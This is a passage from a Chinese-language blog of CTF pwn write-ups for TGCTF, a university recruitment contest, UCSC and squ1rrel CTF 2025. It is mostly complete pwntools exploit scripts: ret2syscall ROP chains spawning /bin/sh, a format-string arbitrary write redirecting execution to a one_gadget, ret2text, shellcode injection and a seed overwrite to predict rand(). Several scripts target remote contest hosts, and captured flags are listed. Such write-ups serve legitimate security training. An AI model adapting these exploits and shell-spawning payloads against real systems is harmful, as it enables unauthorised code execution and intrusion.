22
23
24
25
26
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('node1.tgctf.woooo.tech',31579)
#io = process('./pwn')
elf = ELF('./pwn')


name=0x080EF320

int_80=0x08073D70
pop_eax=0x080b470a
pop_ebx=0x08049022
pop_ecx=0x08049802
pop_edx=0x08060bd1
bin_sh=name
payload = b'/bin/sh\x00'+p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(bin_sh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0)+p32(int_80)
io.sendlineafter(b'your name?\n',payload)

payload = b'a'*(0xD0-0x8)+p32(name+0x4+0x8)
#gdb.attach(io)
io.sendlineafter(b'right?\n',payload)


#pause()
io.interactive()

p32(name+0x4+0x8)加4上面已经讲了,加8是为了跳过/bin/sh\x00‘占8字节

fmt

利用格式化字符漏洞任意写

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf);
puts("please tell me your name");
read(0, buf, 0x30uLL);
if ( magic == 1131796 )
{
printf(buf);
magic = 0;
}
return 0;
}

会给我们一个栈上的地址,存在格式化字符漏洞但是只能利用一次,read很小无法溢出,所以只能尝试通过格式化字符漏洞任意写控制执行流构造二次输入,泄露libc基址,打one_gadget

通过gdb调试到存在格式化字符漏洞的printf处

1

可以发现printf的返回地址被放到了buf起始地址之前也就是buf - 8的位置返回地址为0x401276而read的地址是0x40123D将返回地址修改为read的地址即可构造二次输入

利用%n可以将目前输入的字符数覆盖到指定的地址,可以通过%hn写入 一个short类型的值覆盖两个字节,也可以通过%hhn写入一个 signed char 类型的值覆盖一个字节。返回地址与read地址之间只是低位有一个字节的区别两种方式均可

1
2
0x401276   -->   76 12 40 00
0x40123D --> 3D 12 40 00

选择使用%hn覆盖则需要输出0x123D个字节也就是4669个字节,使用%n覆盖返回地址还需指定地址,也就是前面题目给的栈地址-8注意参数具体是第几个。

两种写法:

单字节写入,格式化字符占0x18个字节在栈上也就是3个参数的位置

1
2
3
4
5
6
payload = flat(
{
0:"%{}c%9$hhn%19$p".format(0x3D),
0x18:p64(stack - 8) # 修改 buf + 0x18 的值
}
)

注:在指定参数时rdi是算格式字符也就是 format 而我们指定的参数是 arg ,arg1是存储在rsi中寄存器存储5个参数第6个参数位于栈上,我们格式化字符占了0x18个字节,p64(stack - 8)也就是栈上的第4个参数

双字节写入

1
2
3
payload = b"%4669c%11$hn" + b"%19$p"
payload = payload.ljust(0x28,b"\x00")
payload += p64(stack - 8)

控制过执行流后接收libc二次利用格式化字符漏洞将执行流转至one_gadget处看了gets大佬的wp又学到了新姿势

1
2
3
4
5
6
payload = b"%" + str(one_gadget & 0xFFFF).encode()
payload += (b"c%10$hn%" + str(((one_gadget >> 16) & 0xFFFF) - (one_gadget & 0xFFFF)).encode())
payload += b"c%11$hn"
payload = payload.ljust(0x20, b"\x00")
payload += p64(stack + 0x68)
payload += p64(stack + 0x68 + 2)

这个payload最后是修改的部分是main函数末尾通过leave ret跳转到exit处将该地址利用任意写改成了one_gadget的地址

1

可以看到是stack地址加0x68处

str(one_gadget & 0xFFFF).encode()这部分是为了获取one_gadget的低16位并将低 16 位转换为字符串并编码为字节流

str(((one_gadget >> 16) & 0xFFFF) - (one_gadget & 0xFFFF)).encode())将 one_gadget 右移 16 位,获取高 16 位的值接着计算高 16 位和低 16 位的差值,将差值转换为字符串并编码为字节流

p64(stack + 0x68) :将 stack + 0x68 的地址转换为 8 字节的小端字节流。这个地址是低 16 位的写入目标。

p64(stack + 0x68 + 2) :将 stack + 0x68 + 2 的地址转换为 8 字节的小端字节流。这个地址是高 16 位的写入目标。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('node1.tgctf.woooo.tech',30480)
io = process(
["/home/pwn/桌面/ld.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
one =0xe3b01
read=0x40123D

io.recvuntil(b'your gift ')
stack = int(io.recv(14),16)
success(hex(stack))

payload = b"%4669c%11$hn" + b"%19$p"
payload = payload.ljust(0x28,b"\x00")
payload += p64(stack - 8)


io.send(payload)
io.recvuntil(b"0x")
base = int(io.recv(14), 16)-0x24083
print(hex(base))
one_gadget = one+base
payload = b"%" + str(one_gadget & 0xFFFF).encode()
payload += (b"c%10$hn%" + str(((one_gadget >> 16) & 0xFFFF) - (one_gadget &
0xFFFF)).encode())
payload += b"c%11$hn"
payload = payload.ljust(0x20, b"\x00")
payload += p64(stack + 0x68)
payload += p64(stack + 0x68 + 2)

gdb.attach(io)
io.send(payload)
io.sendline(b'cat f*')

io.interactive()

比赛的时候one_gadget版本太老了找到的和wp里的不一样就很难受

process新姿势:

1
2
3
4
io = process(
["/home/pwn/桌面/ld.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
)

西南科大校队招新赛

pwn01

ret2text

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io=process('./pwn')
io=remote('47.113.227.111',8090)
backdoor = 0x080491F6
payload=b'a'*(0x48+4)+p32(backdoor)
io.sendline(payload)
io.interactive()

flag{2732yg_cbhbc_999}

pwn02

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io=process('./pwn')
io=remote('47.113.227.111',8091)
target = 0x0804C030
payload= fmtstr_payload(4,{target:1})
io.sendline(payload)
io.interactive()

flag{182hh_jsidj_28ddss}

gift

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io=process('./pwn')
io=remote('47.113.227.111',8094)
ret = 0x400451
gift = 0x4005C4
payload= b'a'*(0x10+8)+p64(ret)+p64(gift)
io.sendline(payload)
io.interactive()

flag{gift_1s_4_v3ry_l0ng_fl4g_s3cur1ty_k3y5_ABCD1234!@#$}

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('47.113.227.111',8098)
#io = process('./pwn')
elf=ELF('./pwn')
io.recvuntil('gift->')
buf = int(io.recvuntil('\n',drop=True),16)
print(hex(buf))
payload = asm(shellcraft.sh()).ljust(0x48,b'\x00') + p32(0) + p32(buf)
io.sendline(payload)
io.interactive()

flag{m3ss4g3_1n_th3_b1n4ry_f1l3_0xDEADBEEF_1337}

UCSC

BoFido-ucsc

伪随机数,read处存在溢出可以覆盖种子,但无法直接覆盖v4,若种子固定则输出的随机数序列一定,循环十次若十次输入数字和随机数生成的一样即可获得shell

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int v5; // [rsp+8h] [rbp-38h] BYREF
int v6; // [rsp+Ch] [rbp-34h] BYREF
char buf[20]; // [rsp+10h] [rbp-30h] BYREF
unsigned int v8; // [rsp+24h] [rbp-1Ch]
unsigned int v9; // [rsp+28h] [rbp-18h]
unsigned int v10; // [rsp+2Ch] [rbp-14h]
unsigned int seed; // [rsp+30h] [rbp-10h]
unsigned int i; // [rsp+34h] [rbp-Ch]
int v13; // [rsp+38h] [rbp-8h]
int v14; // [rsp+3Ch] [rbp-4h]

init();
v14 = 0;
v13 = 0;
seed = time(0LL);
puts("Welcome to the lottery game!");
puts("Enter your name:");
read(0, buf, 0x25uLL);
puts("Now start your game!");
srand(seed);
for ( i = 1; i <= 10; ++i )
{
v10 = rand() % 255;
v9 = rand() % 255;
v8 = rand() % 255;
printf("[+] Round %d, please choose your numbers:\n", i);
__isoc99_scanf("%d%d%d", &v6, &v5, &v4);
printf("The lucky number is: %d %d %d\n", v10, v9, v8);
v13 = 0;
if ( v10 == v6 )
++v13;
if ( v9 == v5 )
++v13;
if ( v8 == v4 )
++v13;
if ( v13 == 3 )
{
puts("Congratulations! You won the first prize!");
++v14;
}
if ( v13 == 2 )
puts("Congratulations! You won the second prize!");
if ( v13 == 1 )
puts("Congratulations! You won the third prize!");
if ( !v13 )
puts("Congratulations! You won nothing!");
}
if ( v14 == 10 )
{
puts("You're so lucky! Here is your gift!");
system("/bin/sh");
}
else
{
puts("See you next time!");
}
return 0;
}

将随机数种子覆盖为一

1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1

0x20个a加上一个1

seed为1时生成10个随机数序列为

1
2
3
4
5
6
7
8
9
10
171 153 203
202 0 183
201 70 206
195 45 120
165 188 58
252 232 96
178 16 144
65 93 195
202 99 159
236 80 162

依次输入即可

1

国际赛

squ1rrel CTF 2025

jail

还不太会分析docker文件就先贴个大佬的exp

Solved by Winegee:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = "debug"
context.arch = "amd64"

# p = process("./prison")
p = remote("20.84.72.194", 5001)
elf = ELF("./prison")
# 0x0000000000401a1a : pop rdx ; ret
# 0x0000000000401a0d : pop rdi ; ret
# 0x0000000000413676 : pop rsi ; pop rbp ; ret
pop_rdi = 0x401a0d
pop_rdx = 0x401a1a
pop_rsi_rbp = 0x413676
bss = 0x00000000004ccac0
# 0x000000000041f464 : pop rax ; ret
pop_rax = 0x41f464
# 0x00000000004013b8 : syscall
syscall = 0x4013b8
# 0x00000000004450f8 : pop rsp ; ret
pop_rsp = 0x4450f8
# sla(b"They gave you the premium stay so at least you get to choose your cell (1-6): ", str(1))
sla(b"They gave you the premium stay so at least you get to choose your cell (1-6): ", str(17))
p.recvuntil(b"Your cellmate is ")
stack_pointer = u64(p.recv(6).ljust(8, b"\x00"))
rop_addr = stack_pointer - (0x8b0 - 0x7c0)
payload = p64(pop_rdi) + p64(0) + p64(pop_rsi_rbp) + p64(rop_addr) + p64(0) + p64(pop_rdx) + p64(0x200) + p64(elf.sym["read"]) + p64(0) + p64(pop_rsp) + p64(rop_addr)
# payload = payload.ljust(, b"\x00")
# gdb.attach(p)
sa(b"Now let's get the registry updated. What is your name: ", payload)
sleep(3)
payload = b"/bi" + b"/bin/sh\x00" * 9
payload += p64(pop_rdi) + p64(rop_addr) + p64(pop_rsi_rbp) + p64(0) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)
p.send(payload)

p.interactive()
# squ1rrel{m4n_0n_th3_rUn_fr0m_NX_pr1s0n!}

Solved by pfwqdxwdd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from tools import*
context(arch='amd64',log_level='debug')


# p=process("./prison")
p=remote("20.84.72.194",5001)
e=ELF("./prison")

pop_rdi=0x401a0d
pop_rdx=0x401a1a
xor_rax=0x000000000042bea9

mg0=0x0000000000419501
# add rdx, 0x60; mov rax, qword ptr [rdi]; mov qword ptr [rdx], rax; ret;
xor_edi=0x000000000047ddda
# xor edi, edi; mov eax, edi; ret;
leave_ret=0x0000000000401b54
rdx=0x0000000000471875

payload=b'a'*0x40+p64(0x4cb3a0)+p64(rdx)+p64(xor_edi)+p64(0x000000000042daa6)

p.sendline(b'1')

p.recvuntil("name:")

p.sendline(payload)

debug(p,0x401b55)

pause()
mrotect=0x000000000042e5b0
shellcode=asm('''

    mov rax, 59
    mov rdi,0x0068732f6e69622f
    push rdi
    mov rdi,rsp
    xor rsi,rsi
    xor rdx,rdx
    syscall
''')

payload1=b'a'*5+p64(pop_rdi)+p64(0x4cb000)+p64(pop_rdx)+p64(0x7)+p64(0x0000000000413676)+p64(0x1000)*2+p64(mrotect)+p64(0x4cb3f0)+shellcode

p.sendline(payload1)


p.interactive()